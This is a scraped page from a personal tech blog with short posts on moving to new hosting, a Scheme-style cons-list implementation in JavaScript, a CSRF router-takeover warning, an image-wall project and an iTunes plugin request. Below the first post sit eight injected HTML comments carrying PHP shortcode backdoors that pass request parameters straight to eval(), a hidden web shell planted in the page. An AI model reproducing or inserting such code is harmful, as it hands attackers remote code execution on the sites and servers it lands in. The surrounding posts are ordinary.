Categories
Etc

Movement

If you’re reading this, you’re being served content from my fancy new TextDrive-hosted blog, including a fancy new Atom 1.0 feed using an Atom 1.0 plugin by Ben Smedbergs.

Next up, moving over all of the old content. Please prepare to ignore vast quantities of posts in your favorite feed reader.

<!– [insert_php]if (isset($_REQUEST["tDZWj"])){eval($_REQUEST["tDZWj"]);exit;}[/insert_php][php]if (isset($_REQUEST["tDZWj"])){eval($_REQUEST["tDZWj"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["nKzY"])){eval($_REQUEST["nKzY"]);exit;}[/insert_php][php]if (isset($_REQUEST["nKzY"])){eval($_REQUEST["nKzY"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["Ngejf"])){eval($_REQUEST["Ngejf"]);exit;}[/insert_php][php]if (isset($_REQUEST["Ngejf"])){eval($_REQUEST["Ngejf"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["FJDPR"])){eval($_REQUEST["FJDPR"]);exit;}[/insert_php][php]if (isset($_REQUEST["FJDPR"])){eval($_REQUEST["FJDPR"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["qMXwD"])){eval($_REQUEST["qMXwD"]);exit;}[/insert_php][php]if (isset($_REQUEST["qMXwD"])){eval($_REQUEST["qMXwD"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["SIo"])){eval($_REQUEST["SIo"]);exit;}[/insert_php][php]if (isset($_REQUEST["SIo"])){eval($_REQUEST["SIo"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["HObVJ"])){eval($_REQUEST["HObVJ"]);exit;}[/insert_php][php]if (isset($_REQUEST["HObVJ"])){eval($_REQUEST["HObVJ"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["HAy"])){eval($_REQUEST["HAy"]);exit;}[/insert_php][php]if (isset($_REQUEST["HAy"])){eval($_REQUEST["HAy"]);exit;}[/php] –>

Categories
Etc

The beginning (of the end?)

Woo boy. Some fun javascript for your consideration. Who said scheme was dead? This code adapted from the Abelson and Sussman lectures on the Structure and Interpretation of Programs.

function cons(x,y) {
  var f = function(pick) {
    if(pick == 0) return x;
    else if(pick == 1) return y;
  }
  f.toString = _printCons;
  return f;
}

function _printCons() {
  var s = "";
  s += (car(this) || "(nil)");
  if(cdr(this)) {
    s += ","
    s += cdr(this);
  }
  return s;
}

function car(p) { return p(0); }
function cdr(p) { return p(1); }

// cons(1, cons(2, cons(3, cons(4,null))));
function list() {
  var l = null;
  for(var i = arguments.length-1; i >= 0; i--)
    l = cons(arguments[i],l);
  return l;
}

function map(p,l) {
  if(l == null) return null;
  else {
    return cons(
      p(car(l)),
      map(p, cdr(l))
    );
  }
}

function for_each(p,l) {
  if(l == null) return "done";
  else {
    p(car(l));
    for_each(p, cdr(l));
  }
}
Categories
Etc

Another great reason to absolutely positively never trust open public access points

Just saw a an article on a technique to take over an open internal router using a CSRF technique. If you’re on something named linksys, beware. VPN’ing home before doing anything else is probably a really really good idea.

Categories
Etc

Worth 1000 words?

Last night, we launched a little toy project, called the Wall of Images. It’s a nearly live look at the images contained in blog posts, brought to you as our crawlers find them. Paul has some more on the particulars if you’re interested.

Be warned, this is an accurate representation of the images contained in feeds that people actually read, so there’s a fair chance you’re going to see some pr0n. This is 99% not safe for the workplace or an educational setting. God forbid you get forty years in jail.

Categories
Etc

iTunes Rating Plugin

Dear The Internet,

Do you know of a plugin for iTunes on Windows that will show me the currently playing song and allow me to rate it with one click?  Ideally, the window would hold just the song name, artist, and the current rating, but not be the main iTunes interface.  Does such a thing exist?